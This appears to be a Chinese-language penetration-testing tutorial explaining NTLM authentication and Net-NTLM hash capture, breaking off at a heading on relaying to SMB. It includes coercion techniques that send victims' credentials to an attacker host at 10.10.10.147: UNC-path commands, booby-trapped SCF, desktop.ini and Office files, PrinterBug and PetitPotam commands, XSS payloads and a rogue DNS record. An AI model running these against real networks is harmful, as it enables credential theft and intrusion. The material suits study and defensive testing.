NTLM协议

NTLM(NT LAN Manager)是一套 Windows 安全协议,旨在为用户提供具有完整性和机密性的身份验证。

NTLM 是基于质询/应答模式的身份验证协议,其过程是加密的,验证过程中不会通过网络传输用户的明文密码。

NTLM验证的加密算法为NTLM Hash,用于用户明文密码的加密,其计算的哈希值存储在本地的SAM文件中,域内用户的哈希值存储在域控的NTDS.dit文件中。

本地用户登录验证时,就是将输入的密码转化为NTLM Hash然后与SAM文件中的NTLM Hash比较。

文件中存储的哈希值格式类似如下:

image-20240517104232456

上图有两个哈希,第一个是LM Hash,第二个是NTLM Hash。

LM Hash 是 LM(LAN Manager)验证机制的加密算法。LM 是在 NTLM 出现之前Windows 使用的验证机制。LM 自身存在的缺陷使得LM Hash 加密强度不高,以至很容易被破解,所以 LM 逐渐被 NTLM 所淘汰。NTLM有 NTLM v1、NTLM v2、NTLM v2Session 三个版本,目前使用最多的是 NTLM v2 版本。

NTLM认证机制

NTLM在工作组环境的认证

NTLM采用了一种一种基于质询/应答模式的身份验证机制,认证过程会产生三种类型的消息:

TYPE1,协商(Negotiate);TYPE 2,质询(Challenge);TYPE 3,身份验证(Authenticate)

image-20240517103005341

具体过程:

  1. 当客户端要访问服务器上某个受保护的服务时,需要输入服务器的用户名和密码进行验证。此时客户端会在本地缓存一份服务器密码的 NTLM Hash,然后向服务器发送TYPE1Negotiate 消息。该消息中包含一个以明文表示的用户名以及其他协商信息,如需要认证的主体和需要使用的服务等。
  2. 服务器收到客户端发送的 TYPE1消息后,先判断本地账户中是否有 TYPE1消息中的用户名。如果有,服务器就会选出自己能够支持和提供的服务内容,生成并回复 TYPE2 Challenge 消息。该消息中包含了一个由服务端生成的 16 位随机值 Challenge,服务器也会在本地缓存该值。
  3. 客户端收到 TYPE 2消息后,会使用步骤1中缓存的服务器的 NTLM Hash 对Challenge 进行加密并生成Response,然后将Response、用户名和Challenge 等组合得到 Net-NTLM Hash,再将 Net-NTLM Hash 封装到 TYPE3 Authenticate 消息中发往服务器。
  4. 服务器在收到 TYPE3消息后,用自己密码的NTLMHash对 Challenge 进行加密并比较自己计算的 Response 与客户端发送的 Response 是否一致。如果一致,就证明客户端掌握了服务器的密码,认证成功,否则认证失败。

NTLM在域环境的认证

域环境中,域用户的哈希值都存储在域控的NTDS.dit中,服务器本身无法计算Response消息,因此需要和域控建立一个安全通道,并通过域控完成最终的认证流程。

image-20240517141109345

  1. 域用户输入自己的账号密码登录客户端主机时,客户端会将用户输入的密码转换为NTLM Hash缓存,当用户想访问某台服务器的服务时,就会发送TYPE1 Negotiate消息
  2. 同工作组环境中的认证
  3. 同工作组环境中的认证
  4. 服务器收到TYPE3 消息之后会转发给域控
  5. 域控根据TYPE3消息获取对应用户的本地存储NTLM Hash,然后对原始Challenge计算生成Response,然后和TYPE3消息中的Response比对
  6. 服务器根据域控返回的验证结果,对客户端进行回复

Net-NTLM Hash

Net-NTLM Hash组成

Net-NTLM Hash是上面TYPE3消息中包含的,是在网络环境下NTLM认证的哈希值。在NTLM v1和NTLM v2中,Net-NTLM Hash也可以分为v1和v2两个版本,构成如下:

# Net-NTLM Hash v1
uername::hostname::LM response:NTLM response:challenge
# Net-NTLM Hash v2
username::domain:challenge:HMAC-MD5:blob

可以从NTLM认证的数据包中提取Net-NTLM Hash,下面是Net-NTLM Hash v2的提取过程

  1. 从TYPE 2 消息的数据包中提取得到Challenge

    image-20240517154219376

  2. HMAC-MD5对应TYPE3数据包中的NTProofStr

    image-20240517154324541

  3. User name和Domain在TYPE3数据包中都可以找到,blob为数据包中的Response减去NTProofStr后剩下的部分

    image-20240517154720777

  4. 再根据Net-NTLM Hash v2的构成将上面的数据组合起来即可

    image-20240517154802759

Net-NTLM Hash利用

实战中可以通过中间人的方法截获认证请求获得Net-NTLM Hash,然后可以暴力破解并获得客户端用户的明文密码。

这里有另一种利用方法,NTLM Relay

NTLM Relay攻击就是通过中间人对NTLM认证过程的流量进行转发,从而允许中间人使用客户端的身份认证服务,过程如图所示:

image-20240517155502009

要实现该过程,要先解决如何触发客户端向Attacker发起NTLM认证请求,其次要决定将客户端的请求拦截后认证到什么样的服务。

发起并截获NTLM请求

NTLM 是一种嵌入式协议,消息的传输依赖使用 NTLM 进行认证的上层协议,如SMB、LDAP、HTTP、MSSQL 等。因此,只要是使用这些协议的应用程序都可以要求用户发起 NTLM 请求。测试人员可通过 Responder 等工具对用户的 NTLM 认证请求进行拦截,并获取其 Net-NTLM Hash。

Responder 是一款可以在局域网模拟各种服务器(SMB、LDAP、HTTP、MSSQL、WPAD、FTP、POP3、IMAP、SMTP)进行中间人攻击的工具,当用户连接这些服务器时,该工具将截获用户的认证请求,如图所示:

image-20240517160601855

image-20240517160627078

kali中已经默认安装了responder可以直接使用,需要root权限运行

NTLM攻击常用方法

在Windows中,通过设置指向恶意服务器的UNC路径,能够使受害机器自动使用当前用户凭证向恶意服务器发起NTLM认证

系统命令

很多系统命令都可以传入UNC路径,这里列举常用的命令

net use \\10.10.10.147\share
dir \\10.10.10.147\share
attrib \\10.10.10.147\share
bcdboot \\10.10.10.147\share
bdeunlock \\10.10.10.147\share
cacls \\10.10.10.147\share
certreq \\10.10.10.147\share
certutil \\10.10.10.147\share
cipher \\10.10.10.147\share
ClipUp -l \\10.10.10.147\share
cmdl32 \\10.10.10.147\share
cmstp /s \\10.10.10.147\share
colorcpl \\10.10.10.147\share
comp /N=0 \\10.10.10.147\share
compact \\10.10.10.147\share
control \\10.10.10.147\share
Defrag \\10.10.10.147\share
diskperf \\10.10.10.147\share
dispdiag -out \\10.10.10.147\share
doskey /MACROFILE=\\10.10.10.147\share
esentutl /k \\10.10.10.147\share
expand \\10.10.10.147\share
extract32 \\10.10.10.147\share
FileHistory \\10.10.10.147\share
findstr * \\10.10.10.147\share
fontview \\10.10.10.147\share
fvenotify \\10.10.10.147\share
FXSCOVER \\10.10.10.147\share
hwrcomp -check \\10.10.10.147\share
hwrreg \\10.10.10.147\share
icacls \\10.10.10.147\share
licensingdiag -cab \\10.10.10.147\share
lodctr \\10.10.10.147\share
lpksetup /p \\10.10.10.147\share /s
makecab \\10.10.10.147\share
msiexec /update \\10.10.10.147\share /quiet
msinfo32 \\10.10.10.147\share
mspaint \\10.10.10.147\share
msra /openfile \\10.10.10.147\share
mstsc \\10.10.10.147\share
netcfg -l \\10.10.10.147\share -c p -i foo

这里用net use命令来测试一下

image-20240517162021631

image-20240517162105436

我们这里成功截获到了Net-NTLM Hash v2

Desktop.ini文件

Windows系统文件夹下有一个隐藏文件 desktop.ini,用来指定和存储文件夹图标之类的个性化设置

如图,desktop.ini中的IconResource为文件夹的图标路径,可以改为UNC路径并指向恶意服务器。当用户访问该文件夹时将自动请求恶意服务器上的图标资源,Responder即可截获用户的Net-NTLM Hash

image-20240517163327639

image-20240517163336432

image-20240517163408543

我们测试的时候可以新建一个文件夹,然后修改改文件夹为随便一个图标就会出现desktop.ini文件,然后就可以修改了(要把隐藏重要系统文件关掉才会出现)

我自己测试的时候复现失败了不知道为什么

SCF文件

SCF 文件是 Windows 文件资源管理器命令文件,也是一种可执行文件。该文件中的IconFile 属性可以指定 UNC 路径,Windows 文件资源管理器将尝试加载 IconFile 属性指定的文件图标。

在一个文件夹下新建一个test.scf文件,写入下面内容:

[Shell]
Command=2
IconFile=\\192.168.20.128\share\test.ico
[Taskbar]
Command=TogleDesktop

然后访问文件夹即可截获

这里也复现失败了奇怪了

PDF文件

PDF 规范允许为 GoTobe 和 GoTOR条目加载远程内容。测试人员可以在 PDF 文件中插入 UNC 路径,当用户通过 PDF 阅读器(Adobe Reader)打开 PDF 文档时,将向恶意服务器发起 NTLM 认证请求。

相关利用工具有Bad-PDF和Worse-PDF

以badpdf为例

image-20240517174014128

然后将生成的test.pdf上传到受害机,用Adobe Reader打开文件后,而已服务器就会截获用户的Net-NTLM Hash。emmm但是感觉适用面有点窄,只有Adobe Reader打开才发起NTLM请求,正常浏览器打开无事发生。

而且多年前就出现补丁了感觉基本没用了属于是

Office文档

Office 文档的 document.xml.rels 文件可以插入 UNC 路径,并向 UNC 地址指定的服务器发起 NTLM 请求。

制作流程如下:

  1. 新建一个Word文档,任意插入一张图片后保存,用压缩软件打开

  2. 在word/_rels下找到document.xml.rels文件,找到刚才插入图片对应的Target参数,将其修改为指向而已服务器的UNC路径,并加上TargetMode=”External”属性

    image-20240517175701097

    image-20240517175820073

  3. 将该文件上传到受害机器,文件被打开后就可以截获到Net-NTLM Hash

难绷又复现失败了。。。不知道是不是只适合旧版本的office

PrivExchange漏洞

Microsoft Exchange 允许任意关联了Exchange 邮箱的用户通过EWS接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地。

当触发通知推送时,Exchange 将使用 CredentialCache.DefaultCredentials 发出 HTTP 请求,并以机器账户的身份发起 NTLM 认证。该漏洞本质是一个 SSRF。

具体的使用可以网上找POC验证。

PrinterBug漏洞

Windows 中的MS-RPRN(Print System Remote Protocol,打印系统远程协议)用于打印客户端和打印服务器之间的通信,支持客户端和服务器之间的同步打印和联机操作包括打印任务控制、打印系统管理。

MS-RPRN 中定义的RpcRemoteFindFirstPrinterChangeNotification API可以创建远程修改通知对象,用于监控对打印机对象的修改,并向打印客户端发送修改通知。任何具备域用户权限的测试人员都可以滥用该方法来强迫运行打印服务(PrintSpooler)的主机向恶意服务器发起 Kerberos 或 NTLM 身份认证请求。并且,由于 Print Spooler 服务以NTAUTHORITY\SYSTEM 账户的身份运行,因此最终通过 Responder 截获的是目标机器账户的 Net-NTMLHash。微软并不承认这是一个洞,所以未进行任何修复。

相关利用工具有SpoolSample.exe和Printerbug.py,开启Responder监听后,执行下面命令:

python printerbug.py hack-my.com/Marcus:Marcus\@123@10.10.10.20 10.10.10.147

通过 printerbug·py 连接到受害机器(10.10.10.20),以迫使它向测试人员所控的恶意服务器(10.10.10.147)发起 NTLM 认证。Responder 上成功截获受害机器的 Net-NTML Hash

image-20240517183241095

PetitPotam漏洞

当Print Spooler服务被关闭后,PrinterBug漏洞就无法利用,该漏洞可以用于替代PrinterBug方法。

MS-EFSR中有一组API,可通过FileName参数指定UNC 路径。例如,EfsRpcOpenFileRaw API的语法格式如下,可以打开服务器上的加密对象进行备份或还原。

image-20240517183953529

PetitPotam就是通过利用这些API来向恶意服务器发起NTLM认证请求,然后截获Net-NTLM Hash

与PrinterBug一样,PetitPotam也需要有一个域用户权限。

注意,在 Windows Server 2008/2012 上,由于可匿名访问的命名管道默认不为空,因此导致可以匿名触发。

开启监听执行下面命令:

python PetitPotam.py -d hack-my.com -u Marcus -p Marcus\@123 10.10.10.147 10.10.10.20

image-20240517184536531

常见Web漏洞利用

XSS

构造UNC路径,触发SMB请求并向恶意服务器发起NTLM认证

# 使用于IE浏览器
<scripts src="\\10.10.10.147\xss"></script>
# 借助LLMNR/NBNS,适用于IEEdge浏览器
<scripts src="\\UnknownName\xss"></script>

LLMNR(Link-Local Multicast Name Resolution)和NBNS(NetBIOS Name Service)是两种网络服务协议,它们用于在局域网(LAN)中解析主机名到IP地址。

  • LLMNR是微软开发的一个基于IPv6的名称解析服务,用于在没有DNS服务器的情况下解析本地网络上的主机名。

  • 它使用IPv6的链路本地地址作为通信媒介,通过发送多播消息来解析主机名。

  • LLMNR通常用于小型网络或家庭网络,其中可能没有配置DNS服务器。

  • NBNS是NetBIOS(Network Basic Input/Output System)名称服务的缩写,是早期Windows网络中用于名称解析的一个服务。

  • NBNS使用NetBIOS协议,通过广播或多播消息来解析网络上的NetBIOS名称到IP地址。

  • NBNS主要用于基于NetBIOS的网络,如Windows NT和早期的Windows版本。

构造http路径,通过http向恶意服务器发起NTLM认证请求

<scripts src="//10.10.10.147/xss"></script>

在Microsoft Edge等浏览器中存在信任区域(Trusted Zones),其中包括互联网(Internet)、本地内部网(Local Internet)、受信任的站点(Trusted Sites)和受限制的站点(Restricted Sites)这几个区域

image-20240528233328349

每个区域都对应不同的安全等级,并关联不同的限制条件。

默认情况下,只有当某站点的域名在本地内部网(Local Intranet)或受信任的站点(Trusted Sites)列表中时,浏览器才会自动使用当前计算机已登录的用户名和密码进行NTLM 认证;其余情况都需要用户手动输入身份进行验证。

通常,许多组织将企业子域名所托管的所有数据标记为可信数据。

image-20240528233641528

*.hack-my.com 位于白名单中,那么测试人员只需要获取*.hack-my.com 下的某台服务器使用该服务器启动 Responder 监听,就可以让浏览器自动以登录用户的凭据发起 NTLM认证

因此我们可以Powermad项目的Invoke-DNSUpdate.ps1脚本可用来向域内添加一条新的 DNS 记录,由于域内的成员默认具有添加 DNS 的权限,因此可以通过该脚本为运行 Responder 的服务器注册一个子域名,如evil.hack-my.com

Import-Module .、InvokeDNSUpdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName evil.hack-my.com -DNSData 10.10.10.147

然后xss攻击向量修改成这样即可截获NTLM认证

<scripts src="//evil.hack-my.com/xss"></script>

File Inclusion

在 Windows 下,PHP 的常见文件包含文件读取类函数,可以解析 UNC 网络路径

如果网站存在 XXE、SSRF 等漏洞,都可以通过指定网络路径(UNC 或 HTTP),尝试触发 NTLM 请求。

SQL注入

在 Windows 下安装的 MySQL 数据库中,load_file、into dumpfile等常见操作均支持UNC 路径

image-20240528234420733

mysql的前提是要拥有相关操作的权限,并且没有secure_file_priv的限制

对应SQL Server数据库,通过调用xp_dirtree等存储过程可以发起NTLM请求:

image-20240528234602866

LLMNR/NBNS欺骗利用

LLMNR(Link-Local Multicast Name Resolution,链路本地多播名称解析)是一个基于协议的域名系统(DNS)数据包的格式,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。

NBNS 的全称为 NetBIOS Name Service,用于在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用 WINS 服务、广播和 Lmhost 文件等,以将NetBIOS名称解析到相应的IP 地址。

当一台主机要访问另一台主机时,会先在自己本地名称缓存中查询目标主机的名称。如果在本地缓存中没有找到对应的名称,那么主机会向 DNS 服务器发送查询请求。如果主机没有收到响应或收到了错误的信息,那么主机会使用 LLMNR 或 NBNS 分别向局域网内发送 UDP 多播或广播请求,以查询对应的主机名。局域网的其他主机在收到这个查询请求后,会将被查询的名称与自己的主机名进行比较。如果与自己的主机名一致,就回复一条包含了自己 IP 地址的单播响应给发出该査询请求的主机,否则丢弃之。

那么测试人员就可以在该过程中使用中间人攻击,当合法主机输入不存在或者错误的主机名,测试人员就可以代替这个主机进行回复,并通过Responder等工具要求受害机器发起NTLM身份验证。

中继到SMB利用